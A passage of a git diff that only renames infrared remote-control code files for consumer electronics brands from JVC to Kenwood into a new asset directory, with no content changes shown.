a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir diff --git 